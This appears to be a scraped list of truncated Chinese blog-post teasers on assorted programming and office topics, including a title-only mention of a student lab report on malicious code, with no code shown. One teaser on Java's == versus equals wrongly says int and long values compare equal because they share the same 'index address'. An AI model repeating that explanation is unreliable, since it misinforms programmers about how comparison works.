    1. 项目概述: 根据不同的应用场景,电商系统一般都提供了 PC 端.移动 APP.移动 Web.微信小程序等多种终端访问方式. 2. 电商后台管理系统的功能 电商后台管理系统用于管理用户账号.商品分 ...

  3. 中国人民公安大学 Chinese people’ public security university 网络对抗技术 实验报告4

    中国人民公安大学 Chinese people' public security university 网络对抗技术 实验报告   实验四 恶意代码技术     学生姓名 陈禹 年级 2018 区队 ...

  4. chatGpt启示

    在应用软件领域实现自动化编程,我现在确实不怀疑了,只是还要等几年的问题.所以我的建议是:如果还想撸代码,可以往基础软件方向走,或者直接去大公司做 AI 工具:不想搞软件了,就去多了解业务吧.早做准备早 ...

  5. 第17章 使用日志记录监视和排除错误(ASP.NET Core in Action, 2nd Edition)

    第3部分 扩展应用程序 我们在第1部分和第2部分中介绍了大量内容:我们查看了您将用于构建传统服务器渲染的 Razor Pages 应用程序以及 Web API 的所有主要功能组件.在第3部分中,我们将 ...

  6. 接口返回JSON字符串压缩和解压

    using System;using System.Collections.Generic;using System.Linq;using System.Web;using System.IO;usi ...

  7. visio使用直线绘图后不能更改

    选中图形->开发工具->行为

  8. == 和 equal 的区别

    == 比较的是两个对象的索引是否相同: equal 比较的是两个对象内容是否相同: int a = 1;long b = 1L;a==b? 答案是 对:因为a和b指向的索引地址相同. 再例如 Stri ...

  9. C#发送字符串转字节含空格与0x需删去

    主要作用:清除发送字符串转字节中的空格和16进制前缀0x, 字节转换按两位字符转换为一个字节,多余一位按一位字符转换一个字节 //清除空格和16进制前缀发送 String sendstr;// = n ...

  10. excel制作表格

    我们这个表格举例: 1. 序号列自动生成序号.选中数字"1"所在的单元格,将鼠标停留在图片中标红的区域向下拖动即可                                 ...